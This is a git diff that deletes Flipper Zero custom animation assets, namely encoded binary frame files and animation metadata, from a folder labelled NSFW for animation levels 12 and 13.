z9GD4|bvCbn3@?410&rkJ-Lq=Vfg5XTNmC2+!2a39EI38|mHjs`9cTaNs=;hdvofKZ z(TZ2Fh-1wSWoTssO={bxt#K5L57gLby5oGO#Un_gw&DIfcK`UPbizQRh48;_ZezdN z-q8^?;ecKw>=bNyUF7Hmm38Vv#G)+THR^pW&b-b2XaWh;x14m5b>6WXfq3sS5L&~sGiYy?5`P_w}ycckj3J{yFgB`}_UQ zIlu4kN19Clr7;kI&Mnc*Q#N3PV&Dv5+bpKu9t9GGDu{rN?yvKxnUD_$yvkyoCT{sY|4we9n-6n+l`pD5oWGJ~@sdgA-rK5c_&cxs zr(>oeM7jokuVVTG;Xs<{dG^m!dPJumriF91Y&(25engF^8hx-Xw7hNb7e3oFNg^t? zr@5FVHw^i_o+;9%LS7+nq~${*hk9X8L{*wwOHQWb-r7@)11x?Z*z&0*jhCE;^g4N{ zV^h`4lX2;-`bkK|#ik0S=!;z`>26z&gSL+CTi<~t*x@9kVA-8(R4F?6YFub3y$3m1 z{@ViNH=DvKp?re{`6BuAK4^TVHZ2qqGskD|qrEo#vB?*b6ln3}g+&;9mnzd|&iib} zBfdr8tM@-k`8TR7j1N6>1m4s8isHUPF%3Mv|56f}o%{MzrR#ZS_=a~$7HDkhwz&0Y zSAkE;LoVF9d%Ko>kFI3{B%BMZD9jISb<6XoT;@0-j*A{!$V|AQoSx5Kks0Z}YE?VK zOy^%NNC5*CUt8DyyTx>#5UX9AAF4>aa(#;3=NCB>jRV)+L(;OJeAk1GFS zfMkW+>>G(Bc-3$~8?ZXfnC)CAao9QJeq-SW2m3QTQ5M*SO&(=k18Ngb1d=+CT=QBE zFE^yPEy_dSfEdlC4fm$R{5IyF$PMPIH4a-fzN7<>)c7)RoN)Lb5*lOutrl~xpyB(a F{{h0CZ!7=+ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_12/frame_11.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_12/frame_11.bm deleted file mode 100644 index c687571447372be55ca0b64d5ee4105ed4f68c2d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1025 zcmWlYe@s(X6vyvt3lD=>G+AV(*{cgggk%^)+?Fw0XH1A@p;1_sAZ5uSlSE<5R21}< zRs)hvG7Qn^A}&IfxPJk!$j*Vgbf^V+O-< za$hr#$~R@V++2GLIN>6Sn4lA3X*@`|Ub2vImH}O@J}uW78BcD$0jm+zONNa<4;yia zrUWDn>icJ6dRqf@Gf6PcEPyHXjM0pauJ)BUy_6VirbcRvSkiAu+6cnNK2QyCT3DG) zLwwd$3Tmj^8?sqx1>bxnS?O=Xq*Z|!p2h9hb5L#i`H6-e*i zEs9Ci!AFp6Hbav=8=A_J(&+Fc=Zb`a?XL#ZsAQD=4M#=clMp;x5A0g7er*4bbMbTt zBh?4@#H_{H8XRAdry+Ve@@ws~b<66+3itg5`cdDxMQZ_B1hq|ehk@OZt5NYhNr0~Q zyu#Vlv~EEx@TEXs8}iN5)Xh70l34{L3aqKwI1hX|a3$)qWoLj3N1goKQ=hjW@TqW>52uu|*e`Xd? z&1Xp(nf{WRA08~}3_qHkmG>u_)!n_b@*_5Qsw;26j!JNPw?yy-8w%-OzWz{`S;;E_guZ<0TUY*?!xGqJ4C z`)k@kv%RM*3LyVJG3`IUKMj$5w@QK9KaI~jOHU?Xwx@;bVDizSFFM_)ma(3Unr68E zknf?V?6;S&5|$T%E+3kF*h4cR1e}@FV7zT?TSOHZ40tB$`=0WDvQ>sSF6)qg{^j@r z=Oylpk@^ETGE&1`1J##0o$@3wn6fPOA6lBIhT$=IWF#v z-Nd OCgk|ykmJ?Ek^cda)^?cy diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_12/frame_12.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_12/frame_12.bm deleted file mode 100644 index 92368c1e08d9e031a4d7c1247838789bb44dec9a..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1025 zcmW-ge@q)?9LC@Fz^j|<0d8403D=n=f(v58;#ANUVKK`xU5FE8x-&7EFt_Z7BtV9| zS877yKO`zy{I$*@gF&_~MgcRn>kPrU7~mg<8IC(dM>51-o0cATy?cD|&rhE3k2ml0 zeTb+7>RuTHpwbG>)G>~`WVoWh;BA_@dkt8wk5QKs2c3c1q&onaPHc(wh<~Ud&i&8872Jt-=p&Td(C&yD=r2YesAk(C;*^P63ug7pC#kNg!5pWo zknMTTwUz0h!AH=|d&%-Se(HQnFi9opkQU?Npl=Ple(o&&L3bueZ*xM1a)t zPWL2ZRWkimW?+mEbbEuX8j9M2Rq4Ra0XHJvywfp7da?P_WMK4_PKa;2n>9oV2QQ_> z_QTx}3k&rawr-m*O^5?`Cm2^6ntF5l5H&@;ViJMMoxd+2u(`B9C7!DJi?Qdo1t<;o zYtlmTh7yssP95cU43qGQQKGv~i zNrC5LL6R>Ct$}(EJRS!QUA<>;KEDYR%@PNhZ=d@n>GpXUdygNqVQ-o0Og-r4lw)Z1;nNDTjO2(PwVT&h&f5M)UlpmIG za(Z=Uh6Uz}+4$@0XDUVS4<}J~;yNH?k%7`Ua>BM)5Mc4mEmuJ24jg8`2CF*551lRkH^8Q)?s0%#Wr?l@yzrAW)rIpi)0zhGEzJoH>2_>)n%c-n}>H zT;etWb$bv5p#B(zssZ4F;B?@?EzDmsY&_YosNATIw!f&}!t~&jWiEp;>lSX_xC1;R zcOuSTWr~feZfZ8D=ur4XTUc)x^}o;hZ3>ckp8ab&HQ$8IfV z@87{jP%Tcqd3brVrlZBVp_3Y;TbmujyQ>&)=DxeY^g?r&`T@g>bNs3Hw5Cf&Q2Jqu zBGX60g%QT*2Tn97TUZ}cC`nSbYT~!UT0nsuT^)>3qnFRz9wz~fdXgnIDe4X9*+cgU zNCo6Gjr!lb_Y-o^*CM#mny{QKbS0^<1*G^O>CFA-SJk@1SBajORzBDCc#~j11v530u+N-@$ zNn80>8vV90uvQnN>2YY_&Xd$>nxVg6~gj7 z`RVTE+^Xj+s9ddg252;Ny*rR&LC+;(Fp0~Lu1`AtJ;^$|%Ii49$G?wV;-37-E{!8Q z$mejo(<|Q|c3bdV`Bo&hdfu8Ua{ejUSXc5|KCvw|Gx}Cf;h`kWQ%>g)8{<#cZ0ZT0 zwPhy(;cPTK+&0^@b1UE=8A32ER384&>0|3VNv0+U3=JQd39VnsfEPzNFXDq|_RjEE zqehl@>|y*FWszSUQLu*G;O|21`z9XehkjNdl*HSwA})VD{ZR0mI$Gxr448mC3Hb5A z5C612%*M#WK%bqy2Km^{gI4k(7q+%!n0mr zr&!Kh!7IKLPyS(s6mp!MW(N9}LS-Ebu!xs*q7C)^sg2~`boRnY_J5<#e)$5$mra)NNk)MU0ylmqUNo1TRuHhE$MR|P2 zGrQyrsXD5(c#<=9hZAD9XHIKT)iGw#7l^PT8dSYg{=-*`K>uh(TR@TFFu4>?ZS<84_ZeFXySu)5`}$Q_@H%fncwH zYK?j;i7iR~{vK9%=<`|?MSFP3&E&{95fVa?Y)`6=Xz zif*PyD#qeD-`(HuL2hWsGAeJsQ=gWNiD~#6ymxv2k!v@yvLXBnUxj;m3BKL2&a~Y6 z`a}3Gl9A=EiO%T9S-IBDfAUG=*%i?4(WbPtpF9A4@^m?ur73?tE7dv-P_eJc2CX@A zI4#wZ0%VrS25iX9!`?w)CYA{czrD(zL$(kF zh*@UIsbq`o6H47>1eRugwS8c(Y^n~=8A5=rZ@#D>IB+Qir|YE?1o5tT=sgk*zMC z4();TiQ!>xct|B*F&bU-x_;t@5FmvN7w~$XRPsWgk%TGLtY|dl9o*n8=SsPo&W$Di E2d+MFnE(I) diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_12/frame_15.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_12/frame_15.bm deleted file mode 100644 index c14ff022253184316cf09266f18fdcbb5c742af0..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1025 zcmWlYZ%iCT7{+Js4);tgd(@H;X|k7wL@J38O|2U0o@r>>q5{%O6D^dOm}0aXQ6hf| zoux&oO{%emD$xdLtW6+7{Xmcq*tOPJqlPA?o=V}CKPo|B7r5)~?cVO=+?SdB@_T3A z|O|K--q-zbkdX8mEFw>+ARdu|Za^ z2k*>#OXm_@}|@qD^^Cv>p=Gsd673LqL=RhtX|w{KrozS@iXHye`t1W zo5yrT4UzJxwi5~FdD03|i_P`W1^pj&ee9gSJ>zjQeYe?VJ4ezH#MpuQ_swI`UAY0HB!MqhwTU1D?hh?+5zg$TFG)-DGJhvGfu&8!4D_s%G za9?|{GffKzJg%_4zg-K9G_stFj;-Cyg2^_OBmH?Q0ym z3~|>kc0T`+-X2S;KXnmOX{o8{wO5i8De1fTZMEyFgFir@9>}{ zRz7qa(ih~y;+XXIn`Nfh7+?uxpWCiOY3livd9ncd;Y+!|nZt<(Q^HYCoF%N}ra@nB zt4RqZ@+NQ~95N^Lf=hoTgp#1e5^f-iTR2=ao8sHDnJ0O~_zxd9lqLC+T@EOhcWDVI zdgA9*Ps?K#qyiFRd4F&0|E;Xe??50I{3;L~KYiBoifl<)KC=5J@Z*}(q87#SEMaeddMOFv(S>3ZhbAHkxO4a1Eny^{kJxC#C`$!vHk8^w zv!Sdc-em}fY=|y+(9z*p$2|=ijtlAg2UzFMDVO=aBPqdDCV{uewG0pJG=*jS4(!=+ z$hDIQU)vONmZL1+5Mkaa3MYjA8>|z_$uO$Jmf$lSAVhL7sh~WZ>Ly)G5TDP1&V0hV yyOVLCim(+!gJ#grf?+?T(`MV?Q}+2#hMzxDfF$F)agxgh0WQEL*%;rL-25NTpmP-f diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_12/frame_2.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_12/frame_2.bm deleted file mode 100644 index 3bc267225ecbeb05d4a51e90863a9e2ca6dba800..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1025 zcmW-feN0tl9LJw?4|vFwbDA(WLk`#q0vAqO*b)va8(O+sVKN2|+H$pO&5Q{F@?4Tx z(NyLC(gcbr5vBX`?hp)43_7SItuc+nB#N?IE2vlkeW{Y-x~d z81EuFA49}YPOIrm-@HN6g%|>~d9`($ndlQF5*DKVq3hl|{!FIxj(LbW8kG32syyXK z8%aRcfm*vKAjhmz+$PhOb&Af_Ldd2{>l{N&pEQbYRx&n}oU^oe-S6Z!P07r9q7B8_ z8t`3eU0n3251!Dh$DY)1`isr3Cgv9#z013^LKMGkCo$QyHnaq%bM|TxTvNy$*#q7T zIYUoti2P{~pKOA+{pA{C+p9|RTVn&9J@SUW?)M3MG|^n(Fj7hO-UJ=v>;Djs_*`)M zNsC6CSGeOLF{53B(|Nf?gR)q*@(5JJ)PfPb8XJs{N0s7it>0d(4*DH*7Hfo@6{a7&0-#xIzIKNRhB4eHx zhWVM)IOKg2i)UZ$>K@}aI^s|+ktSWm!AigPOu8!uv9l4%d#8LiS(s@wABqg>tNDAw~3>ik-UO zotS~T<3NYhI;RzZJLk~vH_*cs?@591YCz?3Ni=5Bs)C{OMmQWmPHOJ`Bzk*E|v{kG|dHY zb$u1=J(g|sCYpmRKisuh8w2WcRg^}-YyJ|blQv!q40hBeu=RR%1uF~azC73t3(m^^ zuWa@~U%`0v-y1em(?M*?2Jp%+AVsZC`4pxqYa zEoh^$e^@cZn5IP&O$AiYl+qf?3G9 zvuk>>R;|fp{>_BwyqWyIySoW; zBcK#IB77W%p)~eonwGlWNpvxa?!)R*Q|<(ebk~Wn7~N}KsGSSt#FKD1qL6eb%F295 zHm`#xamYHb*FFY0j;q9J+l*uFs|T5WwaL@c&-6MJ4Sr_J=Rs=)x;f>qq5)T)BFl2T zZ;iQJxmcpbj47HHVLERQZ}*pIsx^wN+4a5{Z_n)4OPN0)7He{Rj>GmKVf8e^?+ZxJ zmo=j(=x@~O8s@l_CCU4ZA4QUGNnVFIvAsS=HTN>2m9&1>9sdW(23!W{SsvL=| z+>rKk{0nJAhF3EhUfpzjTI?FX4LPsWr$c?`{6IkLA6sF($;aj$=y48LvHd7N+MDH{+V)?f;NhG^XF_%17Ttd1uj>kU8`> zwbnS!+HB7{z8ZDKMt+ge?D3iwl=KJNTm#`_?Z^@?#Et*xft^S0Gr}`a$y#9vl(v1e zPm1oxre6}Lb?M{&nJ0%O0xQUkq~c&tJp z%kaOSFU0GhT+VpnWFxr=?h6O2N;X}-k<8C4A?iI zR!=sB!3~vpEDB5+C~3nKxTtd0W-*0qyjdQa1g`}TA{4X?np|v+=@2#bJC+wvW=sZY z998uzTfzEa_voLnVyIl$Rh80;euUU`KD~|GY3~EC2ui diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_12/frame_4.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_12/frame_4.bm deleted file mode 100644 index d9162ace8f89e3a1e24b97f1fc807d592b698b3e..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1025 zcmW-ge@q)?9LC>k!B&D?amW&eTsM{shqH^r8JA*U#GSr*{E zf%1=uBPH?}29bkI!&FRB(jaWyfdKf6OuYrKgBEwK^h=fh#8$Omv_1-uF>tW9eh z^@L=$=@3+;M~q%Y(EmB?xQ%5L&6?&T7x-nkTT~wxDbDPzQZlP&M>$-n5{@ zb!ZG53so2wxpPcU7QP#ZZYmyy_IWm06NV+;7m7SwAxj89M0|ptw)nn?);VPj6O|;+ z=9yDt&4FiRB&VqLUsnp|RH#~Jj1clwcAwc;d{brh?Ms$plY&0MVcRTm%Ag^$8WXQcK_w=^X5F$I$URMY@hLMU;T8aRb=|v&JUQMH8YFz=9iiIwAj%`PMB#3^nfXM96D5J_fSg zWD$m|X75s&|JPDiI@@GNKcoZYGh`sx)y)#Jm2IV`yr1n%1Qi8h*-8pp`{v$?tm;KT zArHi2NzjqpKkYBP!PwrBiW@+~!98}K1=K^fbi`S(eFxtr8Lk#ZYYa1V`G9f0UZ{Cj5xM5hRtN&a&>Mcey>{(Wu4K-GD>iM7+ULD#+$B!w!H!)5r4^i)rXi-G%y z5IvosbL+c?;!F|6TC1-3>CN2TyT&)@AY|o}wgg0V;ab#9)R| zzARE2f#%g(a1^Lp{;ljl7-=bn2= zu@2B9ZV*uFJ&(x!oj`Myn&ke%B8D+>=XIbxeJ;S63h=lRxqUY;yH(ye-5V)UlnNJ6 zo}I1nI>Js*XR=UFDPpcw6Lctwl$fkw`3#GDS%@w~zO9cr54e(Efovi}gW}l^LS&xL z)*)&*^J40%U(#O#cdNlzftYyLFY0DUwstX&qb5+y@_uT+h32#T!T|S($?B#0w{b8} zgL#QRHz?^SY?(^r7fdPmDb1b|T?@7rEp(tvP2$%~5@mV8wGy#7G~mWvWSiyFjJXEw zkc#+^l>9B~rvzjAQT34OH+?icn6HOH474)<-et)eY$iK&yPX~{NwC4Dp znYJ}Pw>}11II+Zhbz^LaD`a_^_3UqqpZPQ|STw}PfUMEE0I>I)f;DdF=ninURtghzgzBOTryn}D#~*wfSh#8D&QG$u9KI3xPWAuWjF#z z)gR2;C$CIXaI)PzzMzbaY}tSRzQ<#7Io1@rv+C+U?+LGlJ&;LJ0;w|}KK+F~YXyEv z2#GR(?^v6?a0T#_{ZF37H2rB}LhEe1?!v9|o>cd~SlK0*uy^k-}N^8QR6Zg(#+QfNN$i#Jeh z{)6tz%tOJ6$*$!Aa|hg%CEWnf1Z7I0tKhyoLX2zS?NAuqU~}{H9ATPG050VZK#20P z$rglxWcmn=;_O`hv0abidHW|1>Zl7xMt3njyKd?Bv;XL7Y6r|z&&X^QImN_NZDa5P I6DP0!2bAV%#Q*>R diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_12/frame_6.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_12/frame_6.bm deleted file mode 100644 index 9d5b43ab8492496dd0a63973e29c535de0f2df5b..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1025 zcmWlYT}&KR7>3UDnUy7lA#|4IXNUcn*Tdy=o^!suU%u~< zN(;bCG6+CJ-@<$}0Cf6PaEr)b7!$|Rz{SUABb=?7s8`I#=Yei=Md#B!qjb=giYyzo z{w$rhFge{?o02Rj`*Voyv|uKr-N~l|DF}}KC1-41n>?HR?Fc*Py)g(n9se#F)tf2}UXI>j5CCn?*SqCZ$ z+4~Xx-Ktn1@o&;-;Q)^K?p?u_SdMuToKt~_nm>c zI=xy|GP*=IS$;k}Tc=j52^iE7t+YbCJ$+8E($Tr~iEB%YE%SEcJyNAo8sWZP5vz`K zD8EN~RZTL2&#sEUlm;OPU-YUN-;#Sa#W(w9lndm%3h6^XqQWydcOV>=1FBj3ft56b zmboxQkEctAbpF&@T(~>B#JDKH>Q}dn8A2em#<(KD{99)}i#pTpB*dE1Ue!#U`lD>s zIrLB*QVZ$TDK)N_EjtSwjE6{y_1phidxZDMF-V@iDC5!9ZlkY&+XWqZH>GP2ex7NI z@*Xt~TKvWx=Ic*)Z19D7+n~A4Q;feHJ!5!1{4S7tb2ehyBex3v4vQI*M=T0@tt{^I+{a~wlYKEe zMW1S(^VYOM!+}Sl?6}}znfGSJ zXo7w-ex$o0H;o{1yJP<-7Z>d3mYN>6z~$7ll}^#W97n?g#f(4Z35!AB`RZu+gw1$3 zi+SMfn>5@SN`v=j@6|_}JsD&v;G8Yt>}z-Jbtrra2{=_jX6?Xy0Po^L9OV(}W#1EM zg=+;dD2wf;%@8NHWx1SHx}Y`fVQ3(FP>QbDMw6s5Kj?QK46U1d4+z2=<`mzCL(=+~xCr-sgFf z@B19{nE-k)klRMSg^lR^UqgMURm&@h zPk5QmoARZE7)NN(QYAY#C73V<)YhRY@|#@#Ng~6QF4%{r*KP+WVh|S-PxjiZ1I`3VR%%n4XEwO*M25Y)dYo`4| zcsil)(G1LrEGK2wh5RqI+8zzr8xouHg$+KRcv%l?YGkU`wjyS3@>czCEUZCJw{4z~ zj(lOm|Ex-L?BKHaNSy+w(;v~GE-N3W#YS5jvHdL#(mR)ZDd&f0ufTcE|E88K+I#He ziu1MLRfrx>vkv*u{y!(2gTKyfF!h)Ae)Y_XbK&UU#Jj`fOAeK$oo3w^a;yR9wWihX~Dx5A$g+LbY$Nj@h$Q(W-%1LdxH14)`8++l=AxEsYB_&nNxIwg$v50iqdcHnC6N*EaFCG z67#k5=a*RV={!*H_RavE+ToRwf@-Q4n1i@HRX)Q#?5F)(6lSUDjvbg&UOGd3+g%F1 zLuF6Q-+4)(LF1UsRR2)-#b*7<8ZvEO7o92vca8=;wbY-pbBikE9SvQ9)*mfdF7YeP zKqUBdI$+L1D&%f&Kc3IY!`s#Zb1$H~Lve7~xQb(qTe<6#z$wT5J!WnJ`G(g64FM1w_|tYq^C_>YVz#Sz!?(LA zZ}}rs7~8j6;N3R6E*rkF){3jasyuk*0Zvcm#GUP9 z)E`X?@hFgopow%Vz>ARi7WrQ|na{P7jbl9y-bzvspQ3tIr5`hklHaieb-X)-ji)}_ zt`DsO%WJ(vImB+UcWI(=__G!weBH2Er`${aS^s-b2XL|X2b)8sJegzHM)`$TNB;x* COJeu{ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_12/frame_8.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_12/frame_8.bm deleted file mode 100644 index 0554e5925bf08376e99c75930796ac6359d88005..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1025 zcmW-ge@qi+7{}l1bzEm~S0m0ux*a&tPL_~tMa3Xj*pdxgQc-ksbKpN_$rh9?8+KE8 zTZnOvWU?)|Mcpuq3Bv^a$E9QAtYy!GV1s4US7jdOH2+ZtKXE_@)*5|nHWBO4N)A)hNVZ5vy zd8^+-a{*C#llJM|gNnrJ$xadzOz4q{fot1MTUq-`Xi_kAJ=**6;C5qCU+G9e)Q*j= zd4D`w+63@!6Osm{!Aj^AhOY3gWu|@h5S7iA4Cgp*OPYey#tB_EboiaNENK~QSS^NZ zfF8`j#wRtPhu=3Qo7i&DF}lN}Dv`e&uUc|bL~7#h7x^?;zX;xb7B3p1Xzex?cpzR# z%jV)^!JoUeGEGNZEJ#y>3Rx|nmZ_9JkV46=hAw1B-`0XEj>R{Tw493bcHkBXs)~}} z+LH3NY94`M#*mZ#_0v*8CqY203aV83AmmI+Z#cscMfZm)@;{0mT*}tHguHCg!g>UbYTOT z*U|ml?&-qJS4`)L%fMl!w&r z?K=~!ym^ZSax0uRTiCMwBb9XzLGxW-`&mBv&sT)M2tXFX#2urft;cJdD~tYslH>HY zvHzwI&)#|Q(mizZ?iGaX1D$>0n;RRRV$ZjQ*a=wly=eE1>hh%pb#W$r8*%=v?>sQvU6n{Pt)wV}HeR{l+s24{Aar zy2FS9hsKWbgDr8$q?L=YerKSpPBDK&wQ?m53wkTsFVI=g>-2{OssO{_L)If;DBWkX zIP6TXI<<7cE$wXl>@d4xe!}Wwx4U$aafdhUBJZ+!6K5S$^}WLrp_)M^boxn#ncl0v F{|{8aV6OlG diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_12/frame_9.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_12/frame_9.bm deleted file mode 100644 index 9eba5092b18e35370c7c663176827f622857da08..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1025 zcmWlYT}%{L9L4X>tPD`@}F8)uQGm_{E;pkjs2tTxq{@}ZVufh~Q|G$GXbP~(O| z?*KKiCJi=fpyF4Peu%c3G)-xXGE<>Z8|^l&G?r$aUBn_#onc|wU3Pa)FHbkWd(O$t z{pb8ilLcUn3c`-DF&f($2h77N90n-8gTQ(}kap>F4jYfqfvc^|A5(r0^Ql2f>ol$Y zhcwzfYKXr}KfK&MWcV!54Nejg;;>`#)xkHJUvlNnEVE3rso#$S`_sk~oCVQJ8uhJ_ zOD|e6WVqsxLYmfXPn!oVm^@ixq`yhsq%T?f;K**b86#kwFsX(26=$0)g$B&8^j(nI zdrF2~w3_LE@}dl>MLacK3DS*U>)j z@P_4@X5Owg85{Bx>0FeG4--_2ieIN%tFk5{eeLRG>`Lg6-h24$1L^#iBal`*=R@#q zY^;n+Ll=f2opM{cCa?PIpKpLchhmv954n*9!=U4%M>LcTKs>h3ymANYL!SY&H2 z8!mP4J9HoBg*_EfAxDog_H|9dE@=7Ia=5ugV0m4^BrsZadYa4O(~Mh)iDcnV*|YqU z)r_lNBesp6@v5ZaK4Jsn+Rf~?DAY9P%{# zKu+dS=M5J7{^W1NJAZ_n@iI|$3OYAx3?DCtCXj5`HKr%Dv)60$ZBsZ}!|900f74Hm z6%{E6N)FMP9t^JRsk0LhJgf4~X}(Rj^ZEqszXU{5>QI^f=#@SJtWgrNRn|}JsWSL` zl$D#b72ZG$dmn2;d~gAp$5Ab?`@8C#` J>9wUZ{{z&TYG42W diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_12/meta.txt b/assets/resources/dolphin_custom/NSFW/Anims/lvl_12/meta.txt deleted file mode 100644 index 6ad698fe2..000000000 --- a/assets/resources/dolphin_custom/NSFW/Anims/lvl_12/meta.txt +++ /dev/null @@ -1,14 +0,0 @@ -Filetype: Flipper Animation -Version: 1 - -Width: 128 -Height: 64 -Passive frames: 16 -Active frames: 0 -Frames order: 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 -Active cycles: 0 -Frame rate: 6 -Duration: 360 -Active cooldown: 0 - -Bubble slots: 0 diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_13/frame_0.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_13/frame_0.bm deleted file mode 100644 index 7854d8e4791d32edab29708c74f1fb0785476036..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 958 zcmV;v13~-&0J;N!P$%%O2Y>zm7&t7az#-B^uhnm8IKT4xOp=p6l84IwdhLVGKLCKh zueb=Nt0jK>ZMWd^-^nQz3G_%lG)woWUL*p)-~ z`}_6(=l{U*z>3EC5P(RuSMKNJ9zW1{$jjsWpg^e@pZELw@1BRs4*`H)VN?v3lKs2| zjQ0Qkr^P7|Ao#>2f$`r1$9rEth^%NIh(rq|qW@1n-TmEr{Xc-@AfK8P06ss<=lh?# zpZ~A)h$I8>Um8tI`#S$;=4S$cNMt`K3`Zr3{|CljBa?&1lSIINDKrfxllgl4YwFaG z|DFdCf_xw_Nmf_;eEWa!@~`wiPehRXA~GE$i~D)~e&w|wc%H@u^?|@OG{E@$z4VfoM3!Ta ziPU@$I3}xA`TYJQ@mfkesJKri9wAk#|8Bn;eI`U78Vq_P!GpjxQm^mlVK0*7L*o;g zQ8zfod}$T`RXiS43LjD*0w0&|BcJ$l!Q(H088mJ;@!zM%?hh{?2ASvrj(qGs-T(Wq>jaH2sh;5hMjkI8 z`8a+5Fet?IGR{-Tze({bkH78-9UfCP&=;rQx9{tR$_t^46Ux8xR2TQ&ZYfSGs!u8V zn1BA^c>eG5O%{V>Pb&F5j3eJ0jzTFVob?0g{U?%KX;dhM#cEsfc#F$l|HsKAG#@B@ z$)d?2c-81sO{b%P4dOLh;kmvGtEw zeMlq^7`#F)_3;Plucgy#JiM^^e}U^4ggQr;(+|uXK0ePjEIx=650qQ=(+`-u!@^%0 gmY=ca)*zB2=nK zd`0P>qzDH2Nq|T&K=Jf{`{419hlc@vfKahoi}$nY91wWVY$&>R3b

4_`M|&=x{&#Q=bdl=-hqvgd?GRmRG0gD|9|fq zpZ~rgI--1_u$@IK`+N_KmlglV!0MQvg$@B#l>cu(;aK%e z9~#G?J~B}Ga<%%ZxIAJs4Tp*k0M%;0zg|SYdNBj6M-p2=l{IwI+f2TeJ{6vf4}d4f>Cf$q^Sqb|NH0s=sS50(4;4<7J5 zVelv*d}t9ZRx16U1`c;#G95;WseTWXg8m#TWl5FYW>X2+D`fp(ForYWPS+;v+z* zXus3%|6emoM-GBfApF207)&Sn`ThODBERSzf&~KpX&@CXPx^WN_ta`%{JxS=K>Qzu zNkabbKc4&)Q~w9xP@tcPObVry{tL(d6q2jQBM89!v=Is+Ja=D@odljW`UI9i@PfcK zIH36dF8IiTyl|Nq2jT-HrB#2opT@=|MF)%mhXnajU>Qs&_WAgu=rIfNh()kJ2puM( zA0N-7FG`cI#sx%@cpz{MRIB@X_-Xnauz0|6Fb{-|1xlok$B8fc;KAcVj6r;mIE6?) zKi&mD_3H)@XZ#um03JH6SL^q{pTNB!@xS0Ayqr8Dt1JEdc^mylz#c#N1qXo-pa;)|e}MkK z{eS#MEzyI(ZMxt0&%yty{{y0M8a4`_i0X&Sga5;W##Q`-<1mo_1!~v(50(6SU#xs% z0T2Fq>ff?}lL$UPnEgX5pa0jpqw(;Ai@!knPvjT?IPGVtSuURyMOR_k~99aDQ-2eQ)l?(s)L*6h6QL&%q_~pOO5H0k6WZ_^h65_l-?yLce?Pu&9EQ3Te1aE;75<+K$3Mphj0!0r{75J= ztd074{?Fs`r}4;TF<+th(KJEv|9<8Cqxit55f8-*0V%})gX8+eGH|MBdxp!}gUicFL~ zS9nh#-Y^&pTjPO%WT>Cp$LnuY!vEv(422WnA&FHYzuWKXUxDZs#{~e4ePDDAPN+Uw zdZsJ?zkd!x!GnZSsK4Luqc0-SKgBdMPgITpQk4I1Jjr|~68|U$gTVudYN*!{HDP3?4zM%YMGODg0OU|L4cx zFb+&U0ksd0?*V_%en0UV`+Rtq{6@5XKRgfph(Guw`hd|Ge}dIp503-?M;DGt`4E6$ zq5rPGTmAFMlL!4jgnpC*l+XXSL-G6YLF50g$$tcs#OK33sH(LGkvvrt%+B`1|?){JbiqLfw4>>HrY<)AX23Me#~Q^Zoz3 z|NML+DBk{!qieyFRRT`Z~52F6`!6VlXFa9@5 zi|qyH#}~GaA*by9b)BYbXn0>JLEPq4$!vu*)fC)#c LSN&hMd3wM?RxRh& diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_13/frame_3.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_13/frame_3.bm deleted file mode 100644 index 033574c2d70edded0e81012d68381827eb4f9fb3..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 946 zcmV;j15Nw^0ImaoP$&QI*Z<%D|IgqMI1Kn4I!KlJ-TeRK!Q~RGWH-?u`CtEE(D;Z3 z|3HO7XVeIlN{fE~1IC^YADl{=AioF8AP*4m+xh?aJ_ad@zCbWKsulWm|L^m`)tni7!2U=%NiymDBt$Onu^0YLI#;u@+~_w$6G z%2VV2fW!&o2ZB{{qVd2_@?QXWz~Gn<77hWbACKn&pQ0-{|^uTuT;y@KOyoYhycH#@w?z?@GsGPhvptH|JJD!p#D$fA5VCEZ?Y*o zP(FNcd8CK`J<3w)A@=^6PP0LY(7&Bf{Kn;4ey8io2^Tx9};p4gdfE diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_13/frame_4.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_13/frame_4.bm deleted file mode 100644 index eef0be7144f5226c8f5786e647f3a2c430cf5967..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 941 zcmV;e15*3}0I36jP$&2A_y0fp|Nr1%v7Z2kNfHMS>;GQ~4}OuQl5gTc^1t_kW1ayF zK1Be5PpA-?RTll<1`c)MPLZ?2-jY)ZeF{|Gr{J|KP~+ zQcJX_eND91YhVl5w zV49g%_WAs~(sf_?{s#*{_(5Vcst@+__}Sqi0P&DYVLwU;{B_^!=i-JI75Ks+&@YTm ziK?Lo$I}<_VVC0qsX#mh@yTUBm#+n%(^ChG2N_EEP~ufeulMul$Nf0q@uA8f9!OpS 